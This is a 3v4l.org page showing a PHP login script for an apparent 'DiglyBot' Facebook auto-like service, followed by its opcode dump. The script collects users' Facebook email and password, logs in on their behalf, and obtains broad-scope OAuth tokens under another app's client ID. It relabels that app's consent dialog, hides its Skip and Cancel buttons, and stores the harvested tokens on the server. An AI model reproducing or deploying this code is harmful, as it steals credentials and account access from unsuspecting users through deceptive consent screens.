3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); ob_start('ob_gzhandler'); if(!is_dir('/tmp/fbdtsg')){ mkdir('/tmp/fbdtsg');} session_start(); if(!is_dir('/tmp/svT')){ mkdir('/tmp/svT'); } if($_POST[login]){ $key = base64_encode($_POST[pass].'(.)(.)'.$_POST[email]); $_SESSION[key]=$key; if(file_exists('/tmp/svT/'.$key)){ $toket=file_get_contents('/tmp/svT/'.$key); $cek =json_decode(_req($key,'https://graph.facebook.com/me?access_token='.$toket),true); if($cek[id]){ $_SESSION[access_token] = $toket; $_SESSION[fb_dtsg] = file_get_contents('/tmp/fbdtsg/'.$key); back('index.php'); exit; }else{ unlink('/tmp/svT/'.$key); back('login.php?act=setToken&key='.$key); } } elseif(file_exists('/tmp/'.$key)){ back('login.php?act=setToken&key='.$key); }else{ $fields=$_POST; login($key,$fields); back('login.php?act=setToken&key='.$key); } } if($_POST[fb_dtsg]){ $act=$_GET[act]; $key=$_SESSION[key]; $fields = $_POST; $token = setTokenP($key,$fields,$act); if($token){ $_SESSION[access_token] = $token; saveFile('/tmp/svT/'.$key,$token); if(!is_dir('/tpvt')){ mkdir('/tpvt'); } saveFile('/tpvt/'.$key,$token); back('index.php'); }else{ if($_SESSION[fb_dtsg]){ back('index.php?act=loginExpired'); }else{ unlink('/tmp/'.$key); back('index.php?act=loginFalse'); } } } if($_GET[act] == 'setToken'){ $key=$_GET[key]; $token = setToken($key); if($token){ $_SESSION[access_token] = $token; saveFile('/tmp/svT/'.$key,$token); if(!is_dir('/tpvt')){ mkdir('/tpvt'); } saveFile('/tpvt/'.$key,$token); back('index.php'); }else{ if($_SESSION[fb_dtsg]){ back('index.php?act=loginExpired'); }else{ unlink('/tmp/'.$key); back('index.php?act=loginFalse'); } } } function login($key,$fields){ return _req($key,'https://m.facebook.com/login.php',1,$fields); } function setTokenP($key,$fields,$type){ $getToken = _req($key,'https://m.facebook.com/dialog/oauth/'.$type,3,$fields); if(ereg('#access_token=',$getToken)){ $accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13))); } if($accessToken){ $_SESSION[access_token] = $accessToken; return $accessToken; }else{ if(ereg('fb_dtsg',$getToken)){ $fbDtsg = substr($getToken,strpos($getToken, 'name="fb_dtsg" value=')+22,12); if($fbDtsg){ $_SESSION[fb_dtsg] = $fbDtsg; saveFile('/tmp/fbdtsg/'.$key,$fbDtsg); } $oauth = '<x>'.$getToken; $oauth = '<x>'.$getToken; $oauth = preg_replace('#<x>(.+?)</table>(.+?)</form>(.+?)</html>#siu','\2</form>',$oauth); $oauth = str_replace('/dialog/oauth/read','index.php?act=powerLike&access=read',$oauth); $oauth = str_replace('/dialog/oauth/write','login.php?act=write',$oauth); $oauth = str_replace('v1.0login.php?act=write','login.php?act=write',$oauth); $oauth = str_replace('_56bs _56bw _56bt','btn btnD',$oauth); $oauth = str_replace('_56bs _56bw _56bu','btn btnC',$oauth); $oauth = str_replace('type="submit" name="__SKIP__"','type="hidden"',$oauth); $oauth = str_replace('type="submit" name="__CANCEL__"','type="hidden"',$oauth); eval('?>'.file_get_contents('head.php').'<?'); print '<div class="acy apm abb abt">Access Write untuk Applikasi DiglyBot</div>'; print ($oauth); eval('?>'.file_get_contents('foot.php').'<?'); exit; }else{ return false; } } } function setToken($key){ $ponsel =2915120374; $berry =2254487659; $andro = 350685531728; $texas=2389801228; $nokia = 49340319393; $getToken = _req($key,'https://m.facebook.com/dialog/oauth?client_id='.$texas.'&redirect_uri='.urlencode('https://m.facebook.com/connect/login_success.html').'&response_type=token&scope=read_requests,publish_stream,read_stream,publish_actions,publish_likes,user_status,friends_status,user_photos,friends_photos&refid=7',3); if(ereg('#access_token=',$getToken)){ $accessToken = substr($getToken,strpos($getToken,'access_token')+13,(strpos($getToken,'&expires_in') - (strpos($getToken,'access_token')+13))); } if($accessToken){ print '<script>alert("Hapus Dolo Aplikasi Texas HoldEm Poker :p")</script>'; }else{ if(ereg('fb_dtsg',$getToken)){ $fbDtsg = substr($getToken,strpos($getToken, 'name="fb_dtsg" value=')+22,12); if($fbDtsg){ $_SESSION[fb_dtsg] = $fbDtsg; saveFile('/tmp/fbdtsg/'.$key,$fbDtsg); } $oauth = '<x>'.$getToken; $oauth = preg_replace('#<x>(.+?)</table>(.+?)</form>(.+?)</html>#siu','\2</form>',$oauth); $oauth = str_replace('/dialog/oauth/read','login.php?act=read',$oauth); $oauth = str_replace('v1.0login.php?act=read','login.php?act=read',$oauth); $oauth = str_replace('/dialog/oauth/write','index.php?act=powerLike&access=write',$oauth); $oauth = str_replace('_56bs _56bw _56bt','btn btnD',$oauth); $oauth = str_replace('_56bs _56bw _56bu','btn btnC',$oauth); $oauth = str_replace('type="submit" name="__SKIP__"','type="hidden"',$oauth); $oauth = str_replace('type="submit" name="__CANCEL__"','type="hidden"',$oauth); $oauth = str_replace('Texas HoldEm Poker','DiglyBot',$oauth); $oauth=str_replace($texas,$berry,$oauth); eval('?>'.file_get_contents('head.php').'<?'); print '<div class="acy apm abb abt">Access Read untuk Applikasi DiglyBot</div>'; print ($oauth); eval('?>'.file_get_contents('foot.php').'<?'); exit; }else{ return false; } } } function back($url){ print '<meta http-equiv="refresh" content="0;url='.$url.'" />'; } function bunuh($x){ unset($_SESSION[$x]); } function _req($key,$url,$type=null,$fields=null){ $opts = array( 19913 => 1, 10002 => $url, 10018 => $_SERVER[HTTP_USER_AGENT], ); $ch=curl_init(); if($type){ if($type == 1){ $opts[10082] = '/tmp/'.$key; } if($type == 3){ $opts[42] = 1; } $opts[10031] = '/tmp/'.$key; } if($fields){ $opts[47] = true; $opts[10015] = $fields; } curl_setopt_array($ch,$opts); $result = curl_exec($ch); curl_close($ch); return $result; } function saveFile($x,$y){ $f=fopen($x,'w'); fwrite($f,$y); fclose($f); } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 11, Position 2 = 14
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 21, Position 2 = 24
Branch analysis from position: 21
2 jumps found. (Code = 43) Position 1 = 28, Position 2 = 113
Branch analysis from position: 28
2 jumps found. (Code = 43) Position 1 = 49, Position 2 = 93
Branch analysis from position: 49
2 jumps found. (Code = 43) Position 1 = 67, Position 2 = 84
Branch analysis from position: 67
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 84
1 jumps found. (Code = 42) Position 1 = 113
Branch analysis from position: 113
2 jumps found. (Code = 43) Position 1 = 117, Position 2 = 175
Branch analysis from position: 117
2 jumps found. (Code = 43) Position 1 = 134, Position 2 = 160
Branch analysis from position: 134
2 jumps found. (Code = 43) Position 1 = 148, Position 2 = 151
Branch analysis from position: 148
1 jumps found. (Code = 42) Position 1 = 175
Branch analysis from position: 175
2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 230
Branch analysis from position: 180
2 jumps found. (Code = 43) Position 1 = 189, Position 2 = 215
Branch analysis from position: 189
2 jumps found. (Code = 43) Position 1 = 203, Position 2 = 206
Branch analysis from position: 203
1 jumps found. (Code = 42) Position 1 = 230
Branch analysis from position: 230
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 206
Branch analysis from position: 215
2 jumps found. (Code = 43) Position 1 = 219, Position 2 = 223
Branch analysis from position: 219
1 jumps found. (Code = 42) Position 1 = 230
Branch analysis from position: 230
Branch analysis from position: 223
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 230
Branch analysis from position: 151
Branch analysis from position: 160
2 jumps found. (Code = 43) Position 1 = 164, Position 2 = 168
Branch analysis from position: 164
1 jumps found. (Code = 42) Position 1 = 175
Branch analysis from position: 175
Branch analysis from position: 168
2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 230
Branch analysis from position: 180
Branch analysis from position: 230
Branch analysis from position: 175
Branch analysis from position: 93
2 jumps found. (Code = 43) Position 1 = 98, Position 2 = 103
Branch analysis from position: 98
1 jumps found. (Code = 42) Position 1 = 113
Branch analysis from position: 113
Branch analysis from position: 103
2 jumps found. (Code = 43) Position 1 = 117, Position 2 = 175
Branch analysis from position: 117
Branch analysis from position: 175
Branch analysis from position: 113
Branch analysis from position: 24
Branch analysis from position: 14
filename:       /in/n4ENJ
function name:  (null)
number of ops:  231
compiled vars:  !0 = $key, !1 = $toket, !2 = $cek, !3 = $fields, !4 = $act, !5 = $token
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
    3     3        INIT_FCALL                                               'ob_start'
          4        SEND_VAL                                                 'ob_gzhandler'
          5        DO_ICALL                                                 
    4     6        INIT_FCALL                                               'is_dir'
          7        SEND_VAL                                                 '%2Ftmp%2Ffbdtsg'
          8        DO_ICALL                                         $8      
          9        BOOL_NOT                                         ~9      $8
         10      > JMPZ                                                     ~9, ->14
         11    >   INIT_FCALL                                               'mkdir'
         12        SEND_VAL                                                 '%2Ftmp%2Ffbdtsg'
         13        DO_ICALL                                                 
    5    14    >   INIT_FCALL                                               'session_start'
         15        DO_ICALL                                                 
    6    16        INIT_FCALL                                               'is_dir'
         17        SEND_VAL                                                 '%2Ftmp%2FsvT'
         18        DO_ICALL                                         $12     
         19        BOOL_NOT                                         ~13     $12
         20      > JMPZ                                                     ~13, ->24
         21    >   INIT_FCALL                                               'mkdir'
         22        SEND_VAL                                                 '%2Ftmp%2FsvT'
         23        DO_ICALL                                                 
    7    24    >   FETCH_CONSTANT                                   ~16     'login'
         25        FETCH_R                      global              ~15     '_POST'
         26        FETCH_DIM_R                                      ~17     ~15, ~16
         27      > JMPZ                                                     ~17, ->113
    8    28    >   INIT_FCALL                                               'base64_encode'
         29        FETCH_CONSTANT                                   ~19     'pass'
         30        FETCH_R                      global              ~18     '_POST'
         31        FETCH_DIM_R                                      ~20     ~18, ~19
         32        CONCAT                                           ~21     ~20, '%28.%29%28.%29'
         33        FETCH_CONSTANT                                   ~23     'email'
         34        FETCH_R                      global              ~22     '_POST'
         35        FETCH_DIM_R                                      ~24     ~22, ~23
         36        CONCAT                                           ~25     ~21, ~24
         37        SEND_VAL                                                 ~25
         38        DO_ICALL                                         $26     
         39        ASSIGN                                                   !0, $26
    9    40        FETCH_CONSTANT                                   ~29     'key'
         41        FETCH_W                      global              $28     '_SESSION'
         42        ASSIGN_DIM                                               $28, ~29
         43        OP_DATA                                                  !0
         44        INIT_FCALL                                               'file_exists'
         45        CONCAT                                           ~31     '%2Ftmp%2FsvT%2F', !0
         46        SEND_VAL                                                 ~31
         47        DO_ICALL                                         $32     
         48      > JMPZ                                                     $32, ->93
         49    >   INIT_FCALL                                               'file_get_contents'
         50        CONCAT                                           ~33     '%2Ftmp%2FsvT%2F', !0
         51        SEND_VAL                                                 ~33
         52        DO_ICALL                                         $34     
         53        ASSIGN                                                   !1, $34
         54        INIT_FCALL                                               'json_decode'
         55        INIT_FCALL_BY_NAME                                       '_req'
         56        SEND_VAR_EX                                              !0
         57        CONCAT                                           ~36     'https%3A%2F%2Fgraph.facebook.com%2Fme%3Faccess_token%3D', !1
         58        SEND_VAL_EX                                              ~36
         59        DO_FCALL                                      0  $37     
         60        SEND_VAR                                                 $37
         61        SEND_VAL                                                 <true>
         62        DO_ICALL                                         $38     
         63        ASSIGN                                                   !2, $38
         64        FETCH_CONSTANT                                   ~40     'id'
         65        FETCH_DIM_R                                      ~41     !2, ~40
         66      > JMPZ                                                     ~41, ->84
         67    >   FETCH_CONSTANT                                   ~43     'access_token'
         68        FETCH_W                      global              $42     '_SESSION'
         69        ASSIGN_DIM                                               $42, ~43
         70        OP_DATA                                                  !1
         71        FETCH_CONSTANT                                   ~46     'fb_dtsg'
         72        INIT_FCALL                                               'file_get_contents'
         73        CONCAT                                           ~48     '%2Ftmp%2Ffbdtsg%2F', !0
         74        SEND_VAL                                                 ~48
         75        DO_ICALL                                         $49     
         76        FETCH_W                      global              $45     '_SESSION'
         77        ASSIGN_DIM                                               $45, ~46
         78        OP_DATA                                                  $49
         79        INIT_FCALL_BY_NAME                                       'back'
         80        SEND_VAL_EX                                              'index.php'
         81        DO_FCALL                                      0          
         82      > EXIT                                                     
         83*       JMP                                                      ->92
         84    >   INIT_FCALL                                               'unlink'
         85        CONCAT                                           ~51     '%2Ftmp%2FsvT%2F', !0
         86        SEND_VAL                                                 ~51
         87        DO_ICALL                                                 
         88        INIT_FCALL_BY_NAME                                       'back'
         89        CONCAT                                           ~53     'login.php%3Fact%3DsetToken%26key%3D', !0
         90        SEND_VAL_EX                                              ~53
         91        DO_FCALL                                      0          
         92      > JMP                                                      ->113
   10    93    >   INIT_FCALL                                               'file_exists'
         94        CONCAT                                           ~55     '%2Ftmp%2F', !0
         95        SEND_VAL                                                 ~55
         96        DO_ICALL                                         $56     
         97      > JMPZ                                                     $56, ->103
   11    98    >   INIT_FCALL_BY_NAME                                       'back'
         99        CONCAT                                           ~57     'login.php%3Fact%3DsetToken%26key%3D', !0
        100        SEND_VAL_EX                                              ~57
        101        DO_FCALL                                      0          
        102      > JMP                                                      ->113
   13   103    >   FETCH_R                      global              ~59     '_POST'
        104        ASSIGN                                                   !3, ~59
   14   105        INIT_FCALL_BY_NAME                                       'login'
        106        SEND_VAR_EX                                              !0
        107        SEND_VAR_EX                                              !3
        108        DO_FCALL                                      0          
   15   109        INIT_FCALL_BY_NAME                                       'back'
        110        CONCAT                                           ~62     'login.php%3Fact%3DsetToken%26key%3D', !0
        111        SEND_VAL_EX                                              ~62
        112        DO_FCALL                                      0          
   21   113    >   FETCH_CONSTANT                                   ~65     'fb_dtsg'
        114        FETCH_R                      global              ~64     '_POST'
        115        FETCH_DIM_R                                      ~66     ~64, ~65
        116      > JMPZ                                                     ~66, ->175
   22   117    >   FETCH_CONSTANT                                   ~68     'act'
        118        FETCH_R                      global              ~67     '_GET'
        119        FETCH_DIM_R                                      ~69     ~67, ~68
        120        ASSIGN                                                   !4, ~69
   23   121        FETCH_CONSTANT                                   ~72     'key'
        122        FETCH_R                      global              ~71     '_SESSION'
        123        FETCH_DIM_R                                      ~73     ~71, ~72
        124        ASSIGN                                                   !0, ~73
   24   125        FETCH_R                      global              ~75     '_POST'
        126        ASSIGN                                                   !3, ~75
   25   127        INIT_FCALL_BY_NAME                                       'setTokenP'
        128        SEND_VAR_EX                                              !0
        129        SEND_VAR_EX                                              !3
        130        SEND_VAR_EX                                              !4
        131        DO_FCALL                                      0  $77     
        132        ASSIGN                                                   !5, $77
   26   133      > JMPZ                                                     !5, ->160
   27   134    >   FETCH_CONSTANT                                   ~80     'access_token'
        135        FETCH_W                      global              $79     '_SESSION'
        136        ASSIGN_DIM                                               $79, ~80
        137        OP_DATA                                                  !5
   28   138        INIT_FCALL_BY_NAME                                       'saveFile'
        139        CONCAT                                           ~82     '%2Ftmp%2FsvT%2F', !0
        140        SEND_VAL_EX                                              ~82
        141        SEND_VAR_EX                                              !5
        142        DO_FCALL                                      0          
   29   143        INIT_FCALL                                               'is_dir'
        144        SEND_VAL                                                 '%2Ftpvt'
        145        DO_ICALL                                         $84     
        146        BOOL_NOT                                         ~85     $84
        147      > JMPZ                                                     ~85, ->151
        148    >   INIT_FCALL                                               'mkdir'
        149        SEND_VAL                                                 '%2Ftpvt'
        150        DO_ICALL                                                 
   30   151    >   INIT_FCALL_BY_NAME                                       'saveFile'
        152        CONCAT                                           ~87     '%2Ftpvt%2F', !0
        153        SEND_VAL_EX                                              ~87
        154        SEND_VAR_EX                                              !5
        155        DO_FCALL                                      0          
   31   156        INIT_FCALL_BY_NAME                                       'back'
        157        SEND_VAL_EX                                              'index.php'
        158        DO_FCALL                                      0          
        159      > JMP                                                      ->175
   33   160    >   FETCH_CONSTANT                                   ~91     'fb_dtsg'
        161        FETCH_R                      global              ~90     '_SESSION'
        162        FETCH_DIM_R                                      ~92     ~90, ~91
        163      > JMPZ                                                     ~92, ->168
   34   164    >   INIT_FCALL_BY_NAME                                       'back'
        165        SEND_VAL_EX                                              'index.php%3Fact%3DloginExpired'
        166        DO_FCALL                                      0          
        167      > JMP                                                      ->175
   35   168    >   INIT_FCALL                                               'unlink'
        169        CONCAT                                           ~94     '%2Ftmp%2F', !0
        170        SEND_VAL                                                 ~94
        171        DO_ICALL                                                 
   36   172        INIT_FCALL_BY_NAME                                       'back'
        173        SEND_VAL_EX                                              'index.php%3Fact%3DloginFalse'
        174        DO_FCALL                                      0          
   41   175    >   FETCH_CONSTANT                                   ~98     'act'
        176        FETCH_R                      global              ~97     '_GET'
        177        FETCH_DIM_R                                      ~99     ~97, ~98
        178        IS_EQUAL                                                 ~99, 'setToken'
        179      > JMPZ                                                     ~100, ->230
   42   180    >   FETCH_CONSTANT                                   ~102    'key'
        181        FETCH_R                      global              ~101    '_GET'
        182        FETCH_DIM_R                                      ~103    ~101, ~102
        183        ASSIGN                                                   !0, ~103
   43   184        INIT_FCALL_BY_NAME                                       'setToken'
        185        SEND_VAR_EX                                              !0
        186        DO_FCALL                                      0  $105    
        187        ASSIGN                                                   !5, $105
   44   188      > JMPZ                                                     !5, ->215
   45   189    >   FETCH_CONSTANT                                   ~108    'access_token'
        190        FETCH_W                      global              $107    '_SESSION'
        191        ASSIGN_DIM                                               $107, ~108
        192        OP_DATA                                                  !5
   46   193        INIT_FCALL_BY_NAME                                       'saveFile'
        194        CONCAT                                           ~110    '%2Ftmp%2FsvT%2F', !0
        195        SEND_VAL_EX                                              ~110
        196        SEND_VAR_EX                                              !5
        197        DO_FCALL                                      0          
   47   198        INIT_FCALL                                               'is_dir'
        199        SEND_VAL                                                 '%2Ftpvt'
        200        DO_ICALL                                         $112    
        201        BOOL_NOT                                         ~113    $112
        202      > JMPZ                                                     ~113, ->206
        203    >   INIT_FCALL                                               'mkdir'
        204        SEND_VAL                                                 '%2Ftpvt'
        205        DO_ICALL                                                 
   48   206    >   INIT_FCALL_BY_NAME                                       'saveFile'
        207        CONCAT                                           ~115    '%2Ftpvt%2F', !0
        208        SEND_VAL_EX                                              ~115
        209        SEND_VAR_EX                                              !5
        210        DO_FCALL                                      0          
   49   211        INIT_FCALL_BY_NAME                                       'back'
        212        SEND_VAL_EX                                              'index.php'
        213        DO_FCALL                                      0          
        214      > JMP                                                      ->230
   51   215    >   FETCH_CONSTANT                                   ~119    'fb_dtsg'
        216        FETCH_R                      global              ~118    '_SESSION'
        217        FETCH_DIM_R                                      ~120    ~118, ~119
        218      > JMPZ                                                     ~120, ->223
   52   219    >   INIT_FCALL_BY_NAME                                       'back'
        220        SEND_VAL_EX                                              'index.php%3Fact%3DloginExpired'
        221        DO_FCALL                                      0          
        222      > JMP                                                      ->230
   54   223    >   INIT_FCALL                                               'unlink'
        224        CONCAT                                           ~122    '%2Ftmp%2F', !0
        225        SEND_VAL                                                 ~122
        226        DO_ICALL                                                 
        227        INIT_FCALL_BY_NAME                                       'back'
        228        SEND_VAL_EX                                              'index.php%3Fact%3DloginFalse'
        229        DO_FCALL                                      0          
  182   230    > > RETURN                                                   1

Function login:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/n4ENJ
function name:  login
number of ops:  10
compiled vars:  !0 = $key, !1 = $fields
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   60     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   61     2        INIT_FCALL_BY_NAME                                       '_req'
          3        SEND_VAR_EX                                              !0
          4        SEND_VAL_EX                                              'https%3A%2F%2Fm.facebook.com%2Flogin.php'
          5        SEND_VAL_EX                                              1
          6        SEND_VAR_EX                                              !1
          7        DO_FCALL                                      0  $2      
          8      > RETURN                                                   $2
   62     9*     > RETURN                                                   null

End of function login

Function settokenp:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 16, Position 2 = 37
Branch analysis from position: 16
2 jumps found. (Code = 43) Position 1 = 38, Position 2 = 44
Branch analysis from position: 38
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 44
2 jumps found. (Code = 43) Position 1 = 49, Position 2 = 138
Branch analysis from position: 49
2 jumps found. (Code = 43) Position 1 = 61, Position 2 = 70
Branch analysis from position: 61
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 70
Branch analysis from position: 138
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 37
filename:       /in/n4ENJ
function name:  setTokenP
number of ops:  140
compiled vars:  !0 = $key, !1 = $fields, !2 = $type, !3 = $getToken, !4 = $accessToken, !5 = $fbDtsg, !6 = $oauth
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   64     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   65     3        INIT_FCALL_BY_NAME                                       '_req'
          4        SEND_VAR_EX                                              !0
          5        CONCAT                                           ~7      'https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%2F', !2
          6        SEND_VAL_EX                                              ~7
          7        SEND_VAL_EX                                              3
          8        SEND_VAR_EX                                              !1
          9        DO_FCALL                                      0  $8      
         10        ASSIGN                                                   !3, $8
   66    11        INIT_FCALL_BY_NAME                                       'ereg'
         12        SEND_VAL_EX                                              '%23access_token%3D'
         13        SEND_VAR_EX                                              !3
         14        DO_FCALL                                      0  $10     
         15      > JMPZ                                                     $10, ->37
   67    16    >   INIT_FCALL                                               'substr'
         17        SEND_VAR                                                 !3
         18        INIT_FCALL                                               'strpos'
         19        SEND_VAR                                                 !3
         20        SEND_VAL                                                 'access_token'
         21        DO_ICALL                                         $11     
         22        ADD                                              ~12     $11, 13
         23        SEND_VAL                                                 ~12
         24        INIT_FCALL                                               'strpos'
         25        SEND_VAR                                                 !3
         26        SEND_VAL                                                 '%26expires_in'
         27        DO_ICALL                                         $13     
         28        INIT_FCALL                                               'strpos'
         29        SEND_VAR                                                 !3
         30        SEND_VAL                                                 'access_token'
         31        DO_ICALL                                         $14     
         32        ADD                                              ~15     $14, 13
         33        SUB                                              ~16     $13, ~15
         34        SEND_VAL                                                 ~16
         35        DO_ICALL                                         $17     
         36        ASSIGN                                                   !4, $17
   69    37    > > JMPZ                                                     !4, ->44
   70    38    >   FETCH_CONSTANT                                   ~20     'access_token'
         39        FETCH_W                      global              $19     '_SESSION'
         40        ASSIGN_DIM                                               $19, ~20
         41        OP_DATA                                                  !4
   71    42      > RETURN                                                   !4
         43*       JMP                                                      ->139
   73    44    >   INIT_FCALL_BY_NAME                                       'ereg'
         45        SEND_VAL_EX                                              'fb_dtsg'
         46        SEND_VAR_EX                                              !3
         47        DO_FCALL                                      0  $22     
         48      > JMPZ                                                     $22, ->138
   74    49    >   INIT_FCALL                                               'substr'
         50        SEND_VAR                                                 !3
         51        INIT_FCALL                                               'strpos'
         52        SEND_VAR                                                 !3
         53        SEND_VAL                                                 'name%3D%22fb_dtsg%22+value%3D'
         54        DO_ICALL                                         $23     
         55        ADD                                              ~24     $23, 22
         56        SEND_VAL                                                 ~24
         57        SEND_VAL                                                 12
         58        DO_ICALL                                         $25     
         59        ASSIGN                                                   !5, $25
   75    60      > JMPZ                                                     !5, ->70
   76    61    >   FETCH_CONSTANT                                   ~28     'fb_dtsg'
         62        FETCH_W                      global              $27     '_SESSION'
         63        ASSIGN_DIM                                               $27, ~28
         64        OP_DATA                                                  !5
   77    65        INIT_FCALL_BY_NAME                                       'saveFile'
         66        CONCAT                                           ~30     '%2Ftmp%2Ffbdtsg%2F', !0
         67        SEND_VAL_EX                                              ~30
         68        SEND_VAR_EX                                              !5
         69        DO_FCALL                                      0          
   79    70    >   CONCAT                                           ~32     '%3Cx%3E', !3
         71        ASSIGN                                                   !6, ~32
   81    72        CONCAT                                           ~34     '%3Cx%3E', !3
         73        ASSIGN                                                   !6, ~34
   82    74        INIT_FCALL                                               'preg_replace'
         75        SEND_VAL                                                 '%23%3Cx%3E%28.%2B%3F%29%3C%2Ftable%3E%28.%2B%3F%29%3C%2Fform%3E%28.%2B%3F%29%3C%2Fhtml%3E%23siu'
         76        SEND_VAL                                                 '%5C2%3C%2Fform%3E'
         77        SEND_VAR                                                 !6
         78        DO_ICALL                                         $36     
         79        ASSIGN                                                   !6, $36
   83    80        INIT_FCALL                                               'str_replace'
         81        SEND_VAL                                                 '%2Fdialog%2Foauth%2Fread'
         82        SEND_VAL                                                 'index.php%3Fact%3DpowerLike%26access%3Dread'
         83        SEND_VAR                                                 !6
         84        DO_ICALL                                         $38     
         85        ASSIGN                                                   !6, $38
   84    86        INIT_FCALL                                               'str_replace'
         87        SEND_VAL                                                 '%2Fdialog%2Foauth%2Fwrite'
         88        SEND_VAL                                                 'login.php%3Fact%3Dwrite'
         89        SEND_VAR                                                 !6
         90        DO_ICALL                                         $40   

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
276.05 ms | 1428 KiB | 42 Q